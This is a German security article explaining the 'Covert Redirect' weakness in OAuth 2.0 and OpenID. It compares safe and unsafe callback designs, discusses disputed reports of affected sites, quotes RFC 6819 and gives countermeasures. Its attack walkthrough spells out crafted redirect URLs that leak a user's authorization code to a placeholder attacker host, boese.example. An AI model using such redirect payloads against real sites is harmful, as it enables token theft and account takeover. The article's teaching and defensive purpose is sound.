Dipl.-Inform. Carsten Eilers

Das Problem beim "Covert Redirect" in Verbindung mit OAuth 2.0 und OpenID besteht darin, dass der als endgültiges Weiterleitungsziel dienenden bösartigen Website Informationen übermittelt werden, die sie nicht erhalten sollte. Im Fall von OAuth 2.0 wird unter Umständen der Authentifizierungscode oder das Access-Token mitgeschickt. Im Fall von OpenID erhält der Angreifer unter Umständen Informationen über den betroffenen Benutzer.

Zwei Beispiele für den Einsatz von OAuth 2.0

Danny Thorpe hat zwei Beispiele für den sicheren und unsicheren Einsatz von OAuth beschrieben, an die sich die folgenden Beispiele stark anlehnen:

Die Website website.example sendet einen Authentifizierungsrequest an einen Authentifizierungsserver (zum Beispiel google.com, facebook.com, ...), hier authserver.example genannt. Der fordert den Benutzer auf, sich bei ihm einzuloggen. Nach erfolgreicher Authentifizierung wird ein Authentifizierungscode und daraus im nächsten Schritt ein Access-Token für die Website website.example erzeugt und jeweils im Rahmen einer Weiterleitung an einen Callback-URL dieser Website übertragen. Dazu wird normalerweise ein URL-Parameter verwendet.

Die sichere Variante

Sicher ist der folgende Ablauf:

1. website.example leitet den Benutzer zur Authentifizierung zu authserver.example weiter. Der Request enthält einen Callback-URL, über den der Authentifizierungscode empfangen wird: https://website.example/receiveAuthCode.php.
2. authserver.example authentifiziert den Benutzer.
3. authserver.example prüft, ob der Callback-URL vorher von website.example registriert wurde.
4. authserver.example leitet den Benutzer zum Callback-URL weiter und fügt den Authentifizierungscode als Parameter an:
   https://website.example/receiveAuthCode.php?authcode=qwertz12345.
5. website.example/receiveAuthCode.php empfängt den Authentifizierungscode und lässt ihn in einem zweiten Request an authserver.example in ein Access-Token umwandeln. Das Access-Token wird dann in einem Session-Cookie gespeichert, so dass es allen Seiten der Website zur Verfügung steht.

Die unsichere Variante

Unsicher ist dagegen dieser, auf den ersten Blick für den Benutzer komfortablere, Ansatz:

1. Der Benutzer ruft website.example/profil.php auf.
2. website.example erkennt, dass der Benutzer noch nicht authentifiziert wurde. Er leitet ihn zur Authentifizierung zu authserver.example weiter und fügt dem Request den URL der aufgerufenen Seite als Parameter für ein Redirect-Skript weiter, dass den Authentifizierungscode empfängt:
   https://website.example/redirect.php?original_seite=https://website.example/profil.php.
3. authserver.example authentifiziert den Benutzer und prüft, ob der URL des Redirect-Skripts vorher von website.example registriert wurde. Da das zutrifft, leitet er den Benutzer zu diesem URL weiter und fügt den Authentifizierungscode als Parameter an.
4. website.example/redirect.php leitet den Benutzer zur angegebenen URL weiter und fügt die Query-Parameter an den URL an:
   https://website.example/profil.php?authcode=qwertz12345.
5. website.example/profil.php erkennt den Authentifizierungscode und lässt ihn in ein Access-Token umwandeln. Außerdem wird die Profil-Seite des Benutzers angezeigt.

Ein Angriff auf diese Methode könnte so aussehen:

1. Der Angreifer erzeugt einen Authentifizierungsrequest, in dem er das Weiterleitungsziel von website.example in eines auf seinem Server ändert:
   https://website.example/redirect.php?original_seite=https://boese.example/angriff.asp?.
2. Jetzt muss der Angreifer dafür sorgen, dass der Benutzer seinen präparierten URL anklickt und an authserver.example sendet.
3. Der Benutzer wird aufgefordert, sich bei authserver.example für website.example anzumelden.
4. authserver.example authentifiziert den Benutzer und prüft, ob der URL des Redirect-Skripts vorher von website.example registriert wurde. Da das zutrifft, leitet er den Benutzer zu diesem URL weiter und fügt den Authentifizierungscode als Parameter an:
   https://website.example/redirect.php?original_seite=https://boese.example/angriff.asp?&authcode=qwertz12345.
5. website.example/redirect.php leitet den Benutzer zur angegebenen URL weiter und fügt die Query-Parameter an den URL an:
   https://boese.example/angriff.asp?authcode=qwertz12345.
6. boese.example kann den Authentifizierungscode von authserver.example in ein Access-Token umwandeln lassen und damit auf die Benutzerdaten bei authserver.example zugreifen und erhält auch vollen Zugriff auf das Benutzerkonto bei website.example, sofern dafür das gleiche Access-Token wie für den Zugriff auf das Profil verwendet wird.

Das alles setzt natürlich voraus, dass der Angreifer eine Website findet, die zum einen eine "Covert Redirect"-Schwachstelle enthält und die zum anderen OAuth 2.0 oder OpenID unsicher verwendet. Und danach muss er dann noch Benutzer dieser Website angreifen. Was sich ja auch nicht bei jeder Website wirklich lohnt.

Viele Websites sind betroffen - oder auch nicht

Wang Jing hat etliche betroffene Websites aufgeführt. Einige Beispiele:

• OpenID: Die Schwachstelle erlaubt den Zugriff auf unter Umständen nicht für die Öffentlichkeit bestimmte Daten im Profil des Benutzers. Betroffen sind zum Beispiel google.com und yahoo.com.
• OAuth 2.0: Die Schwachstelle erlaubt den Zugriff auf unter Umständen nicht für die Öffentlichkeit bestimmte Daten im Profil des Benutzers und von Dritthersteller-Apps. Außerdem kann die Authentifizierung umgangen werden. Betroffen sind zum Beispiel facebook.com, paypal.com und github.com
• OAuth 2.0: Die Schwachstelle erlaubt den Zugriff auf unter Umständen nicht für die Öffentlichkeit bestimmte Daten im Profil des Benutzers. Außerdem kann die Authentifizierung umgangen werden. Betroffen ist zum Beispiel live.com.

John Bradley konnte Wang Jings Beispiele nicht nachvollziehen. Mit Ausnahme von Facebook scheint sowieso keine der Websites wirklich betroffen zu sein. Meint außer John Bradley zumindest Egor Homakov, der einen entsprechenden Angriff auf Facebook bereits im Februar 2013 beschrieben hatte.

Ein bekanntes Problem

Redirects sind ein altbekanntes Problem der Websicherheit. Auch für OpenID und OAuth. Aber eben keines in diesen beiden Protokollen. Ganz im Gegenteil, bei denen wird sogar auf die Gefahr von Redirects hingewiesen. In den "OAuth 2.0 Threat Model and Security Considerations" in RFC 6819 gibt es zum Beispiel den Punkt "Threat: Open Redirectors on Client":

"An open redirector is an endpoint using a parameter to automatically redirect a user agent to the location specified by the parameter value without any validation. If the authorization server allows the client to register only part of the redirect URI, an attacker can use an open redirector operated by the client to construct a redirect URI that will pass the authorization server validation but will send the authorization "code" or access token to an endpoint under the control of the attacker.

Impact: An attacker could gain access to authorization "codes" or access tokens.

Countermeasures:

o Require clients to register full redirect URI (Section 5.2.3.5)."

Lediglich die Möglichkeit von "Covert Redirects" wurde bisher nicht besonders herausgestellt. Und auch von den Angreifern ignoriert, jedenfalls sind mir keine Berichte über entsprechende Angriffe bekannt. Aber die wären auch gar nicht so einfach, da sie nur in Sonderfällen möglich sind. Genauer: In einem Sonderfall - Facebook.

Wie verhindert man die Angriffe?

Allgemein wurde das ja bereits beschrieben. Hier gilt das gleiche: Die Webanwendungen, die OAuth 2.0 und/oder OpenID verwenden, dürfen keine Weiterleitungen zu Websites erlauben, die selbst wiederum offene Redirects erlauben. Da diese Forderung nicht so leicht zu erfüllen ist, sollte in diesem Fall komplett auf Redirects zu fremden Servern verzichtet werden.

Im Allgemeinen braucht man allenfalls eine Weiterleitung zu Zielen auf der eigenen Website. Zum Beispiel, wenn ein Benutzer eine geschützte Funktion aufruft, von der Login-Funktion zwecks Autorisierung zum OAuth-Provider weiter geleitet wird und nach erfolgreicher Authentifizierung oder Autorisierung direkt zur aufgerufenen Funktion weitergeleitet werden soll. Dann muss der Authentifizierungscode oder das Access-Token vor der Weiterleitung aus dem URL entfernt und in einem Session-Cookie gespeichert werden, so dass es nicht unbefugt weitergeleitet werden kann.

Carsten Eilers